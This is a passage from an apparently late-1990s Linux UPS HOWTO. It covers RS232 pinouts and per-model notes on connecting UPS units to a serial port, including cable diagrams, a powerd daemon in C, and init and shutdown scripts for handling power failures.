10 |  | -- | -- | - | - | Negative DC test voltage
11 |  | QM | -- | - | <--- | Equalizer mode
12 |  | SDCD | SCF | 122 | <--- | Secondary Data Carrier Detect
13 |  | SCTS | SCB | 121 | <--- | Secondary Clear To Send
14 |  | STD | SBA | 118 | ---> | Secondary Transmitted Data
15 |  | TC | DB | 114 | <--- | Transmitter (signal) Clock
16 |  | SRD | SBB | 119 | <--- | Secondary Receiver Clock
17 |  | RC | DD | 115 | ---> | Receiver (signal) Clock
18 |  | DCR | -- | - | <--- | Divided Clock Receiver
19 |  | SRTS | SCA | 120 | ---> | Secondary Request To Send
20 | 4 | DTR | CD | 108.2 | ---> | Data Terminal Ready
21 |  | SQ | CG | 110 | <--- | Signal Quality Detect
22 | 9 | RI | CE | 125 | <--- | Ring Indicator
23 |  | -- | CH | 111 | ---> | Data rate selector
24 |  | -- | CI | 112 | <--- | Data rate selector
25 |  | TC | DA | 113 | <--- | Transmitted Clock

        1                         13         1         5
      _______________________________      _______________
      \  . . . . . . . . . . . . .  /      \  . . . . .  /    RS232-connectors
       \  . . . . . . . . . . . .  /        \  . . . .  /     seen from outside
        ---------------------------          -----------      of computer.
        14                      25            6       9

   DTE : Data Terminal Equipment (i.e. computer)
   DCE : Data Communications Equipment (i.e. modem)
   RxD : Data received; 1 is transmitted "low", 0 as "high"
   TxD : Data sent; 1 is transmitted "low", 0 as "high"
   DTR : DTE announces that it is powered up and ready to communicate
   DSR : DCE announces that it is ready to communicate; low=modem hangup
   RTS : DTE asks DCE for permission to send data
   CTS : DCE agrees on RTS
   RI  : DCE signals the DTE that an establishment of a connection is attempted
   DCD : DCE announces that a connection is established

6.4 Ioctl to RS232 correspondence

Since you also might need to modify powerd.c to raise and lower the correct lines, you might also need the numeric values of different terminal signals. The can be found in /usr/include/linux/termios.h, but are reproduced here for reference. Since they could change, you're best off confirming these values against said file.

/* modem lines */
#define TIOCM_LE        0x001
#define TIOCM_DTR       0x002
#define TIOCM_RTS       0x004
#define TIOCM_ST        0x008
#define TIOCM_SR        0x010
#define TIOCM_CTS       0x020
#define TIOCM_CAR       0x040
#define TIOCM_RNG       0x080
#define TIOCM_DSR       0x100
#define TIOCM_CD        TIOCM_CAR
#define TIOCM_RI        TIOCM_RNG

Note that the 3rd column is in Hex.


The UPS Howto: What to do when you're really stuck

 Next Previous Contents

7. What to do when you're really stuck

Here's a novel solution to UPS control for when the UPS and the computer just aren't on speaking terms. I must say that every time I read this, I'm struck by how clever a solution it is.

From: " Raymond A. Ingles" <inglesra@frc.com>
To: hjstein@math.huji.ac.il
Subject: UPS HOWTO tip
Date: Mon, 24 Feb 1997 11:48:32 -0500 (EST)

 I don't know if others would find this useful, but I thought I might
pass this along for possible inclusion in the HOWTO. Thanks for
maintaining a HOWTO that I found very useful!

-----------------

 My fiancee bought me a UPS as a present, a Tripp-Lite 400, I believe. It
was very welcome and seems to operate as expected, but unfortunately
doesn't have a serial interface to let the computer know the line power
has failed. It's apparently intended for home or office use where the
computer will not be left unattended.

 This, of course, was unacceptable and I began working on a line monitor,
planning on opening up the case and figuring out how to add the hardware
that the manufacturer had left out. Then I realized that there was a
quicker and simpler and cheaper (if somewhat less functional) way.

 I had an old 2400 baud modem that I wasn't using, and hooked it up to an
unused serial port on my computer. I then plugged the modem into a surge
supressor plugged into the wall power. I set up powerd with the options
as follows:

-----
serialline    /dev/ttyS1
monitor     DCD
failwhen    low
-----

 Now, when the wall power fails (or, since that hasn't happened lately,
when I pull the surge supressor from the wall to test this setup) the modem
fails but the UPS starts supplying power to the computer. When powerd
notices the modem has dropped DCD, it triggers the powerfail sequence.

 Obviously, this has some limitations. You can't tell from the modem when
the battery is low and so on. You can only tell that the wall power has
failed. Still, it's certainly cheap and I hate to see functioning
computer equipment lie unused. These days you should be able to get a
2400 baud modem for very nearly free.

 I'd still suggest getting a real UPS with full communication capability.
But if you're stuck with a less-functional one, this may at least make it
useful.

 Sincerely,

 Ray Ingles               (810) 377-7735                inglesra@frc.com

 "Anybody who has ever seen a photograph showing the kind of damage that
a trout traveling that fast can inflict on the human skull knows that
such photographs are very valuable. I paid $20 for mine." - Dave Barry


The UPS Howto: Info on selected UPSs

 Next Previous Contents

8. Info on selected UPSs

This section contains UPS specific information. What I'd like is to have the UPS control port information (what each pin does and needs to have done), information on the manufacturer supplied cable (what it connects where), and a hacked version of powerd.c which works with the UPS. What I currently have is fairly complete descriptions of setting up each UPS. I'd try to distill out the relevant information, but since I can't test each UPS, it's hard to decide exactly what's relevant. Furthermore, each UPS seems to have some additional quirks that are nicely described by the authors of each section. So for now I'm leaving everything in. Makes for a hefty Howto.

Please send me your experiences for inclusion here.

8.1 General Experiences.

I've been saving peoples comments, but haven't gotten permission yet to include them here. Here's a general summary of what I've heard from people.

APC: Won't release info on their smart mode without your signature on a non-disclosure agreement. Thus, people are forced to run their smart UPSs in the dumb mode as outlined above. Various people have had varying amounts of success reverse engineering

Best: Helpful and friendly. Supply source code and documentation both for dumb modes and smart modes.

TrippLite: One person reported that TrippLite won't release info either.

Upsonic: One person reported that Upsonic has discussed technical details over the phone, answered questions via fax and are generally helpful.

8.2 Advice 1200 A

UPS from Advice Electronics, Tel Aviv Israel (they stick their own name on the things).

I don't recommend them. Our experiences with them have been very bad. We've twice had a 17" monitor fry when the power failed. We've had computers spontaneously reboot when the power failed.

None the less, for completeness, here's he UPS Control Port's pin specifications.

  • 2 - Power Fail.
  • 5 - Battery Low.
  • 6 - Shut Down UPS.
  • 4 - Common ground for pin 2, 5, 6.

They also gave me the following picture which didn't help me, but may help you if you want to build a cable yourself:

         2 ----------+
                     |
                     \
                      \|
                       |--------------
                      /|
                    \/      <--- The "\/" here indicates the type of
                    |            this transister.  I forget what
                    |            denotes what, but this one points
                 +-----+         away from the center line.
                /  /  /

         5 ----------+
                     |
                     \
                      \|
                       |--------------
                      /|
                    \/
                    |
                    |
                 +-----+
                /  /  /

                       +-------------
                       |
                       /
              10K    |/
         6 --\/\/\/--|
                     |\
                       \/
                       |
                       |
                    +-----+
                   /  /  /

         4 ----------+
                     |
                     |
                  +-----+
                 /  /  /

Cable supplied

They first gave me a cable that was part of a DOS UPS control package called RUPS. I used this for testing. When I was satisfied, they gave me a cable they use for Netware servers connected to UPSs. It functioned identically. Here are the details:

  • DTR - Powers cable (make powerd.c keep it high).
  • CTS - Power out (stays high and goes low when power goes out).
  • DSR - Battery low (stays high. Goes low when battery does).
  • RTS - Turns off UPS (keep it low. Set it high to turn off UPS).

(The powerd.c that comes with SysVinit set or left RTS high, causing the UPS to shut off immediately when powerd was started up!)

8.3 Trust Energy Protector 400/650

This section is good for more than just the Trust Energy Protector. It illustrates how to work with the new features of init.

How to use a Trust Energy Protector 400/650 under Linux

by Ciro Cattuto

Version 1.0 - 31 March 1997

The computer to UPS connection

The Trust Energy Protector 400/650 is equipped with a remote signal port. Using a properly designed cable, it is possible to connect the UPS port to the serial port of a computer, thus making it aware of power failure events.

The UPS signal port

These are the pin assignments for the DB-9 signal port of the Trust Energy Protector 400/650, as described in the user's manual:

pin 2

The relay will close when input power fails.

pin 4

Common for pins 2 and 5.

pin 5

The relay will close when the battery inside the Trust Energy Protector 400/650 has less than 1.5 minutes of backup time left.

pin 6

The user may send a high level signal (+5V - +12V) for over 1ms to turn off the Trust Energy Protector 400/650. However this option can only be activated when the input power fails.

pin 7

Common for pin 6.

The Cable

This is the cable I used to connect the UPS to the serial port of my computer:

computer side (DB-25)               UPS side (DB-9)
===================================================

 6 DSR --+             [R] = 10 kilo-Ohm resistor
         |
20 DTR --+----+
         |    |
        [R]  [R]                           +--- 7
         |    |                            |
 8 DCD --+----|-----------        ---------|--- 2
              |                            |
 7 GND -------|-----------        ---------+--- 4
              |             ....
 5 CTS -------+-----------        ------------- 5

 2 TX  -------------------        ------------- 6

===================================================

In the case of a DB-9 serial port, the pins 6,20,8,7,5,2 are mapped to pins 6,4,1,5,8,3.

How the cable works

The computer raises DTR and checks whether DSR is high, to ensure that the cable is connected to the computer. While the power is good, DCD and CTS are both high (because of the pull-up resistors).

When the power fails, the relay between pins 2 and 4 of the UPS port closes, and DCD becomes low, signalling the failure condition.

Similarly, when the UPS batteries are getting low, the relay between pins 5 and 4 closes, thus lowering CTS.

During a power failure the computer is able to turn off the UPS by raising TX for over 1ms. This can be easily accomplished sending a 0xFF byte to the serial port, at a low baud rate.

The powerd daemon

To make use of the information available at the serial port we need to run a program which monitors the port, decodes the signals and sends the appropriate messages to the operating system, i.e. to the init process. The init process can execute scripts and programs designed to handle (gracefully!) the power failure event.

Compiling powerd

In Appendix A you'll find the source code of powerd, the daemon I use to monitor the Trust Energy Protector 400/650. To compile it you will need the source code of the sysvinit package (I used the code from sysvinit-2.60). Just overwrite the original powerd.c and compile it.

How powerd works

As soon as powerd starts it opens the serial device connected to the UPS and forces DTR high. It then forks a daemon and exits, leaving the daemon running. The powerd daemon can be in one of three states:

State 0 - POWER IS GOOD

In this state powerd reads the serial port every T0_SLEEP seconds (see the #define lines at the beginning of the code). If DCD drops, powerd switches to state 1. If CTS drops powerd switches to state 2 (this shouldn't happen without DCD dropping before, but I decided to stay on the safe side).

State 1 - POWER FAILURE

A power failure was detected. DCD is low and powerd reads the UPS port every T1_SLEEP seconds. If DCD becomes high, it switches to state 0. If CTS drops, it switches to state 2.

State 2 - POWER CRITICAL

UPS batteries are low. The powerd daemon will remain in this state.

Each time powerd changes state, it notifies the init process, so that the appropriate action can be taken. These events are logged using the system logging facility.

If DSR is low there must be something wrong with the cable. Powerd keeps monitoring the DSR line, and every two minutes sends a warning message to the system logging facility.

Running powerd

The powerd daemon should be launched from the system initialization scripts, during system startup. I added the following lines to my /etc/rc.d/rc.local script:

# Add support for the UPS
echo "Starting powerd daemon..."
rm -f /etc/turnUPSoff
stty -crtscts speed 75 < /dev/cua3 > /dev/null
if [ -x /usr/sbin/powerd ]; then
        /usr/sbin/powerd /dev/cua3
fi

First we remove (if present) the file /etc/turnUPSoff. This file is used by the system shutdown script (/etc/rc.d/rc.0, in my case) to decide whether we want to turn the UPS off. See later in this document for more information.

Then we disable hardware flow control on the serial device connected to the UPS, and set its baud rate to 75. Now we're confident that the TX signal will stay high for a time long enough to turn the UPS off, if we send a character to the serial port (again, see later).

Finally we launch the powerd daemon, specifying the serial port to monitor. Notice that we're not going to read characters from the serial device, so don't worry if you have interrupt conflicts - they'll do no harm.

The inittab file and the shutdown scripts

The powerd process is now running, and it will send signals to init whenever a power failure occurs. Now we have to configure the system so that it can react in a useful way when those signals are received.

Modifying inittab

Add the following lines near the beginning of your /etc/inittab file:

# What to do when power fails (delayed shutdown).
pf::powerfail:/etc/powerfail_script

# If power is back before shutdown, cancel the running shutdown.
pg::powerokwait:/etc/powerokay_script

# If UPS batteries are getting low, do an immediate shutdown.
pc::powerfailnow:/etc/powerfailnow_script

The scripts

The scripts powerfail_script, powerokay_script and powerfailnow_script are executed when init receives the corresponding signal. They have the responsibility of shutting down the system in a clean way or cancelling a running shutdown in case power comes back. These are the scripts I'm currently using:

/etc/powerfail_script:

#!/bin/sh
/bin/sync
/usr/bin/sleep 10m
kill -9 `ps auxw | grep "shutdown" | grep -v grep | awk '{print $2}'`
> /etc/turnUPSoff
/sbin/shutdown -t30 -h +3 "POWER FAILURE"

My Trust Energy Protector 400 powers only the computer, so I have quite a long backup time. Since power failures only last for some minutes in my zone, the system responds to a blackout in the following way: it waits for 10 minutes (usually the power comes back before) and then halts the system, allowing the users to close their applications and leave the machine. Before issuing the shutdown command, I make sure that there are no running shutdowns. I also create the file /etc/turnUPSoff, so that the system will turn off the UPS.

/etc/powerokay_script:

#!/bin/sh
kill `ps auxw | grep "powerfail_script" | grep -v grep | awk '{print $2}'`
kill -9 `ps auxw | grep "shutdown" | grep -v grep | awk '{print $2}'`
rm -f /etc/turnUPSoff

If power comes back, we kills the running powerfail_script and any running shutdown. We also remove /etc/turnUPSoff.

/etc/powerfailnow_script:

#!/bin/sh
kill -9 `ps auxw | grep "shutdown" | grep -v grep | awk '{print $2}'`
> /etc/turnUPSoff
/sbin/shutdown -h now "UPS batteries low. IMMEDIATE SHUTDOWN."

If batteries are getting low, we make sure that there are no running shutdowns, create the /etc/turnUPSoff file and then shutdown the system immediately.

The system shutdown script

When system shutdown is complete, we can turn off the UPS raising the TX signal of the serial port for over 1ms. The serial device is already properly configured (see the stty command in the rc.local script). If the file /etc/turnUPSoff is present, we send the byte 0xff (all '1' bits) to the serial port.

To do this, add the following lines near the bottom of your system shutdown script (/etc/rc.d/rc.0, in my case). The proper place depends on the way your system is configured, but it should be okay to insert the lines before the echo command which prints the "System is halted" message.

# Is this a powerfail situation?
if [ -f /etc/turnUPSoff ]; then
  echo "Turning off UPS. Bye."
  sleep 5
  echo -e "\377" > /dev/cua3
  exit 1
fi

General remarks

This document contains things I learned while trying to configure *my* Linux system to use the Trust Energy Protector 400. Some informations (the path of the system inizialization scripts, for example) may be specific to my system, and you probably will need some customization. However, I hope this document will be a useful trace for those trying to use a Trust Energy Protector 400/650 under Linux. If you experience difficulties, look for general information in the rest of this UPS-Howto. Good luck!

Feedback

I would greatly appreciate receiving feedback about this document, so that I can polish it and correct possible mistakes (I know the English is not very good, but I'm Italian after all!). Direct any comments/suggestions/critics to the following e-mail address:

ciro@stud.unipg.it

If you have problems using Trust Energy Protector 400/650 under Linux, feel free to contact me. I'll try to help you.

Legal Issues

I have no relation at all with Trust Networking Products.

The information contained in this document comes "as is". Use it at your own risk. I can't be held responsible for any damage or loss of data resulting from the use of the code and information given here.

Ciro Cattuto

-----

Appendix A - Source code for the powerd daemon

powerd.c:

/*
 * powerd       Catch power failure signals from
 *              a Trust Energy Protector 400/650
 *              and notify init
 *
 * Usage:       powerd /dev/cua3 (or any other serial device)
 *
 * Author:      Ciro Cattuto <ciro@stud.unipg.it>
 *
 * Version 1.0 - 31 March 1997
 *
 * This code is heavily based on the original powerd.c code
 * by Miquel van Smoorenburg <miquels@drinkel.ow.org>.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version
 * 2 of the License, or (at your option) any later version.
 *
 */

/* state 0 - power is good */
#define T0_SLEEP        10      /* interval between port reads, in seconds */
#define T0_DCD          3       /* number of seconds DCD has to be high
                                   to cause an action                      */
#define T0_CTS          3       /* number of seconds CTS has to be high
                                   to cause an action                      */
/* state 1 - power is failing */
#define T1_SLEEP        2       /* interval between ports reads            */
#define T1_DCD          3       /* same as T0_DCD                          */
#define T1_CTS          3       /* same as T0_CTS                          */

#define DSR_SLEEP       2
#define DSR_TRIES       60

/* Use the new way of communicating with init. */
#define NEWINIT

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include "paths.h"
#ifdef NEWINIT
#include "initreq.h"
#endif

#ifndef SIGPWR
#  define SIGPWR SIGUSR1
#endif

#ifdef NEWINIT
void alrm_handler()
{
}
#endif

/* Tell init that the power has gone (1), is back (0),
   or the UPS batteries are low (2). */
void powerfail(int event)
{
  int fd;
#ifdef NEWINIT
  struct init_request req;

  /* Fill out the request struct. */
  memset(&req, 0, sizeof(req));
  req.magic = INIT_MAGIC;
  switch (event)
        {
        case 0:
                req.cmd = INIT_CMD_POWEROK;
                break;
        case 1:
                req.cmd = INIT_CMD_POWERFAIL;
                break;
        case 2:
        default:
                req.cmd = INIT_CMD_POWERFAILNOW;
        }

  /* Open the fifo (with timeout) */
  signal(SIGALRM, alrm_handler);
  alarm(3);
  if ((fd = open(INIT_FIFO, O_WRONLY)) >= 0
                && write(fd, &req, sizeof(req)) == sizeof(req)) {
        close(fd);
        return;
  }
  /* Fall through to the old method.. */
#endif

  /* Create an info file for init. */
  unlink(PWRSTAT);
  if ((fd = open(PWRSTAT, O_CREAT|O_WRONLY, 0644)) >= 0) {
  switch (event)
        {
        case 0:
                write(fd, "OK\n", 3);
                break;

        case 1:
                write(fd, "FAIL\n", 5);
                break;

        case 2:
        default:
                write(fd, "LOW\n", 4);
                break;
        }
  close(fd);
  }

  kill(1, SIGPWR);
}

/* Main program. */
int main(int argc, char *argv[])
{
  int fd;
  int dtr_bit = TIOCM_DTR;
  int flags;
  int DCD, CTS;
  int status = -1;
  int DCD_count = 0, CTS_count = 0;
  int tries;

  if (argc < 2) {
        fprintf(stderr, "Usage: powerd <device>\n");
        exit(1);
  }

  /* Start syslog. */
  openlog("powerd", LOG_CONS|LOG_PERROR, LOG_DAEMON);

  /* Open monitor device. */
  if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) {
        syslog(LOG_ERR, "%s: %s", argv[1], sys_errlist[errno]);
        closelog();
        exit(1);
  }

  /* Line is opened, so DTR is high. Force it anyway to be sure. */
  ioctl(fd, TIOCMBIS, &dtr_bit);

  /* Daemonize. */
  switch(fork()) {
        case 0: /* Child */
                closelog();
                setsid();
                break;
        case -1: /* Error */
                syslog(LOG_ERR, "can't fork.");
                closelog();
                exit(1);
        default: /* Parent */
                closelog();
                exit(0);
  }

  /* Restart syslog. */
  openlog("powerd", LOG_CONS, LOG_DAEMON);

  /* Now sample the DCD line. */
  while(1) {
        /* Get the status. */
        ioctl(fd, TIOCMGET, &flags);

        /* Check the connection: DSR should be high. */
        tries = 0;
        while((flags & TIOCM_DSR) == 0) {
                /* Keep on trying, and warn every two minutes. */
                if ((tries % DSR_TRIES) == 0)
                    syslog(LOG_ALERT, "UPS connection error");
                sleep(DSR_SLEEP);
                tries++;
                ioctl(fd, TIOCMGET, &flags);
        }
        if (tries > 0)
                syslog(LOG_ALERT, "UPS connection OK");

        /* Calculate present status. */
        DCD = flags & TIOCM_CAR;
        CTS = flags & TIOCM_CTS;

        if (status == -1)
                {
                status = (DCD != 0) ? 0 : 1;
                if (DCD == 0)
                        {
                        syslog(LOG_ALERT, "Power Failure. UPS active.");
                        powerfail(1);
                        }
                }

        switch (status)
                {
                case 0:
                        if ((DCD != 0) && (CTS != 0))
                                {
                                DCD_count = 0;
                                CTS_count = 0;
                                sleep(T0_SLEEP);
                                continue;
                                }
                        if (DCD == 0)
                                DCD_count++;
                        if (CTS == 0)
                                CTS_count++;
                        if ((DCD_count < T0_DCD) && (CTS_count < T0_CTS))
                                {
                                sleep(1);
                                continue;
                                }
                        if (CTS_count == T0_CTS)
                                {
                                status = 2;
                                syslog(LOG_ALERT, "UPS batteries low!");
                                break;
                                }
                        status = 1;
                        DCD_count = 0;
                        syslog(LOG_ALERT, "Power Failure. UPS active.");
                        break;

                case 1:
                        if ((DCD == 0) && (CTS != 0))
                                {
                                DCD_count = 0;
                                CTS_count = 0;
                                sleep(T1_SLEEP);
                                continue;
                                }
                        if (DCD != 0)
                                DCD_count++;
                        if (CTS == 0)
                                CTS_count++;
                        if ((DCD_count < T1_DCD) && (CTS_count < T1_CTS))
                                {
                                sleep(1);
                                continue;
                                }
                        if (CTS_count == T1_CTS)
                                {
                                status = 2;
                                syslog(LOG_ALERT, "UPS batteries low!");
                                break;
                                }
                        status = 0;
                        DCD_count = 0;
                        CTS_count = 0;
                        syslog(LOG_ALERT, "Power okay.");
                        break;

                case 2:
                        sleep(1);
                        continue;

                default:
                        break;
                }

        powerfail(status);
  }
  /* Never happens */
  return(0);
}

8.4 Trust UPS 400-A

I received a submission about the Trust UPS 400-A. I don't know if it's the same as the Trust Energy Protector 400, so I'm including the submission.

From: "Marcel Ammerlaan" <marcel@ch.twi.tudelft.nl>
To: hjstein@math.huji.ac.il
Subject: UPS addition
Date: Wed, 16 Jul 1997 01:17:11 +100

Hello Harvey,

I've got an addition to your UPS Howto. I've got a
"Trust UPS 400-A" which isn't listed. This product doesn't seem
to be manufactured anymore by it's producer (www.trust.box.nl).
But that doesn't mean it's not available anymore, I've got mine
really cheap just a month ago. Also this company just relabels
products so maybe there are others that have got the same UPS.

I have included a picture of the UPS in case anybody got such a beast
under another label.

The cable was easily constructed based on the original powerd cable
and the documentation from trust.
It clearly describes which pins of the D-shell connector of the UPS
carry which signal.

It extends the original design with 2 extra functions:
1) Battery low indication
2) Power down UPS

The cable I created looks like (see the other attachement).

This cable has been tested with powergend by Tom Webster and did work
completely (although your milage may vary).

Type:               "pleur"
Cable Power:        {TIOCM_DTR,0}
Inverter Kill:      {TIOCM_RTS,1}
Inverter Kill Time: 5
Power Check:        {TIOCM_CTS,0}
Battery Check:      {TIOCM_CAR,0}
Cable Check:        {TIOCM_RI,0}

Although (just as the powerd cable) the cable check function isn't
used because the UPS doesn't seem to support it.

Well that's about it I guess. If you need more information about the
UPS the cable or the software feel free to contact me.

And remember, everything described here works for me but I don't
guarantee it will for you.

Marcel Ammerlaan
CEO Pleursoft (explains the cablename doesn't it :-)
The Netherlands

<RSA implemented in 3 lines of perl deleted by the editor ;)>

Marcel Ammerlaan   | <m.j.ammerlaan@twi.tudelft.nl>
Paardenmarkt 78    | Just another nerd on the loose
2611 PD Delft      |
The Netherlands    |

8.5 Sustainer S-40a

Information on the Sustainer S-40a.

From: fnevgeny@plasma-gate.weizmann.ac.il (Evgeny Stambulchik)
To: hjstein@math.huji.ac.il, hjstein@math.huji.ac.il, hjstein@math.huji.ac.il,
        hjstein@math.huji.ac.il
Subject: UPS-HowTo add-ons
Date: Sun, 10 Sep 1995 13:09:50 +0300 (IST)

Hi Harvey,

This is an addition to your UPS-HowTo. I'm using Sustainer S-40a UPS for a few
months with unipower package (now it's called genpower) and home-made cable
constructed as follows (I've sent all this stuff to Tom Webster, author of the
package, too, and it should appear in the next version):

         UPS SIDE                                   LINUX SIDE

               2 POWER FAIL                             1(8)
   +-----------o-------------------------+----------------o  DCD
   |                                     |
   o                                     |
    /                                    |
   /                                     |
   |           4 COMMON                  |              5(7)
   +-----------o------+------------------|----------------o  GND
   |                  |                  |
   \                  |                  |
    \                 |                  |
   o                  |                  |
   |           5 BATT | LOW              |              8(5)
   +-----------o------|------------------|--------+-------o  CTS
                      |                  |        |
                      |                +-+-+    +-+-+
                      |                |   |    |   |
                      |    3 resistors |   |    |   |
                      |                |   |    |   |
                      |    by 10 kOhm  |   |    |   |
                      |                +-+-+    +-+-+
                      |                  |        |     4(20)
                      |                  +--------+-------o  DTR
                      |
|              6 SHUT | DOWN              +-------+     7(4)
+-+       +----o------|-------------------+       +-------o  RTS
  \       |           |                   +-------+
   \|    -+-          |
    | <- \ /          |
   /|    -+-          |
  /       |    7      |
  |       +----o------+
--+--
 ---
  -

NOTE!!!: Shutdown pins in the tech info supplied with UPS (4 and 6) are given
incorrectly! The valid ones are 6 and 7, as shown above.
Note2: Pin numbers on the PC side in the brackets are for 25-pin connector,
outside - for 9-pin one.

Here's the unipowerd.h file I used:

/************************************************************************/
/* File Name            : unipowerd.h                                   */
/* Program Name         : unipowerd                   Version: 1.0.0    */
/* Author               : Tom Webster <webster@kaiwan.com>              */
/* Created              : 1994/04/20                                    */
/* Last Modified By     : Tom Webster                 Date: 1995/04/09  */
/* Last Modified By     : Evgeny Stambulchik (for Sustainer UPS)        */
/*                                                                      */
/* Compiler (created)   : GCC 2.5.8                                     */
/* Compiler (env)       : Linux 1.0.9                                   */
/* ANSI C Compatable    : No                                            */
/* POSIX Compatable     : Yes?                                          */
/*                                                                      */
/* Purpose              : Header file for unipowerd.                    */
/*                      : Contains the configuration information for    */
/*                      : unipowerd.  Edit this file as indicated       */
/*                      : below to activate features and to customize   */
/*                      : unipowerd for your UPS.                       */
/*                                                                      */
/* Copyright            : GNU Copyleft                                  */
/************************************************************************/

/* The following are the RS232 control lines      */
/*                                                */
/*                                            D D */
/*                                            T C */
/* Macro           English                    E E */
/* ---------------------------------------------- */
/* TIOCM_DTR       DTR - Data Terminal Ready  --> */
/* TIOCM_RTS       RTS - Ready to send        --> */
/* TIOCM_CTS       CTS - Clear To Send        <-- */
/* TIOCM_CAR       DCD - Data Carrier Detect  <-- */
/* TIOCM_RNG       RI  - Ring Indicator       <-- */
/* TIOCM_DSR       DSR - Data Signal Ready    <-- */

#define HIGH            (1)
#define LOW             0
#define PWRSTAT         "/etc/powerstatus"
#define UPSSTAT         "/etc/upsstatus"

/* CABLEPOWER is the line which provides power to */
/* the cable for normal monitoring activities.    */
#define CABLEPOWER      TIOCM_DTR

#define POWERBIT        TIOCM_CAR
#define POWEROK         HIGH

/* Define CABLECHECK as 1 to check for low battery */
/* Define CABLECHECK as 0 value to skip            */
#define CABLECHECK      0
#define CABLEBIT        TIOCM_RNG
#define CABLEOK         HIGH

/* Define BATTCHECK as 1 to check for low battery  */
/* Define BATTCHECK as 0 value to skip.            */
#define BATTCHECK       1
#define BATTBIT         TIOCM_CTS
#define BATTOK          HIGH

/* Define INVERTERKILL as 1 to hndle killing the inverter */
/* Define INVERTERKILL as 0 value to skip.                */
/* INVERTERBIT is the line which will kill the inverter   */
/*    while the UPS is in powerfail mode.                 */
/* INVERTERTIME is the time in seconds to hold the line   */
/*    defiined by INVERTERBIT high to kill the inverter.  */
#define INVERTERKILL    1
#define INVERTERBIT     TIOCM_RTS
#define INVERTERTIME    5

/************************************************************************/
/* End of File unipowerd.h                                              */
/************************************************************************/

I'm aware that current name of the package is genpower. I haven't try it yet as
see no reason to switch to the new version meantime; the former seems to work
very stable. Nevertheless, here is the add-on for genpower-1.0.1's genpowerd.h
file (hopefully, I "translated" unipowerd.h correctly):
Add-on for genpower-1.0.1's genpowerd.h file:

/* Evgeny's Sustainer S-40A */
 {"sustainer",   {TIOCM_DTR,0}, {TIOCM_RTS,1},  5, {TIOCM_CAR,0}, {TIOCM_CTS,0},
{0,0}}

Evgeny

8.6 Systel

Another Israeli company. I never ended up purchasing a UPS from them, but they were very good about getting me detailed documentation on their communication port. It should be easy enough to control their UPS. Their phone number is 972-8-409-019 (972-8-407-216 for fax).

8.7 Deltec Power, Fiskars Power Systems and Exide.

Fiskars is a Finnish holding company. They used to own Deltec Power. In March of 1996 Fiskars sold Deltec Power to Exide Electronics Group. At that time, Deltec Power was one of the world's largest makers of UPSs.

Under Fiskars, Deltec used to make the PowerServers 10, 20, 30, and 40. The Deltec Power home page mentions other UPSs.

Exide now bundles UPS control software with their UPSs that works under Linux. They also sell the software separately. They say that their software works with other UPSs too.

I'd like to hear from people using their software.

Here's the advertisement they emailed me:

Exide Electronics announces LanSafe III UPS Power Management Software for Linux.

LanSafe III is a UPS Power Management application. It provides automatic orderly shutdown functionality incase of an extended power failure that should outlast the UPS battery run time.

LanSafe III enables broadcast messages and e-mail to be sent according to user defined power condition changes. The shutdown procedure can also be customized.

LanSafe III works together with the vast majority of all Exide Electronics UPS models. It goes even one step further by supporting basic shutdown functionality also with other manufacturers UPSs.

LanSafe III for Linux runs on Intel based Linux systems. Both character based and X11/Motif based user interfaces are provided.

LanSafe III supports all the major OS platforms: Linux, IBM AIX, HP UX, Digital UNIX, SCO UNIX, Solaris, SunOS, AT&T UNIX, all Windows platforms, OS/2, Novell and Macintosh among others.

LanSafe III is bundled with the following Exide Electronics UPSs: OneUPS Plus, NetUPS, PowerWare Prestige, PowerWare Profile, PowerWare Plus 5xx.

It also ships with FPS Power Systems UPSs: PowerRite Plus, PowerRite Max, PowerWorks A30, PowerWorks A40, Series 9000 and Series 10000.

It is also possible to purchase a separate software license to use with a previous UPS model or an other manufactures UPS. Regular licenses are S$149, with site licenses also available.

For details please visit our Web sites at www.exide.com, www.fiskarsUPS.com and www.deltecpower.com.

Incidentally, when I tried to connect to www.fiskarsUPS.com, it prompted me for a username and password.

8.8 Beaver model UB500 UPS

dan@fch.wimsey.bc.ca (Dan Fandrich) writes:

I seem to have gotten my old Beaver model UB500 UPS working with genpower. The interface uses RS-232 compatible voltage levels, so installing it is a snap. There is a DE-9 female connector on the back which plugs directly into a 9-pin PC serial port using a plain 9-pin video monitor extension cable.

The DIP switches allow quite versatile pinouts. To emulate genpower's apc1-nt type of UPS, they must be set as follows:

DIP switch SW601 for Beaver model UB500 UPS.
1 | on | (CTS = power fail)
2 | off | (CTS = low battery)
3 | off | (DSR = power fail)
4 | off | (DSR = low battery)
5 | off | (CD = power fail)
6 | on | (CD = low battery)
7 | off | (RI = power fail)
8 | off | (RI = low battery)
9 | on | (DTR = inverter off)
10 | off | (RTS = inverter off)

The switches form groups of adjacent pairs for each output pin. They are mutually exclusive--don't try to turn on both switch 5 and 6 simultaneously, for example, or you'll be shorting the low battery and power fail signals.

That's all there is to it. Feel free to add this do your documentation.

8.9 Sendom

Documentation on using the Sendom UPS.

From: charli <mefistos@impsat1.com.ar>
To: hjstein@math.huji.ac.il
Subject: ups howto contribution
Date: Wed, 13 Nov 1996 19:07:41 -0200

hjstein@math.huji.ac.il

sir:

i connected a sendom ups with the help of your UPS-howto and man powerd
and discovered something useful. perhaps this thing extends to some
other ups.
im using slackware 3.0 distribution. i has the soft configuration in
/etc/inittab already done. its only needed to add the /rc.local powerd
/cuaX

i used the man powerd diagram:
        9pin    25pin

DTR     4       20      ---------
                         |      >
DSR     6       6       --      < 10k
                                >
DCD     1       8       -------------------------
                                                relais
GND     5       7       -------------------------

the fact is that the sendom ups dont use relais but some electronic
solid state device, and it works one way BUT NO THE OTHER. so if you
make the cable and doesnt work, first try inverting the cable in the
ups "relais"

i hope this can be useful, if you want to include this somewhere, feel
free to correct my english. please aknowledge this mail even with an
empty
mail so i know it arrived
end

8.10 Best

Information on Best UPSs is available on at the Best Power website. Their website includes the checkups.tar (section Software) package for communicating with Best UPSs, both in smart mode and in dumb mode, and it includes source code, so you can compile it under Linux.

Best Fortress - Using Best's software

Linux Best Power UPS Mini-HOWTO by Michael Stutz ( stutz@dsl.org, and http://dsl.org/m/) v1.0, 14 Aug 97

0.0 Disclaimer

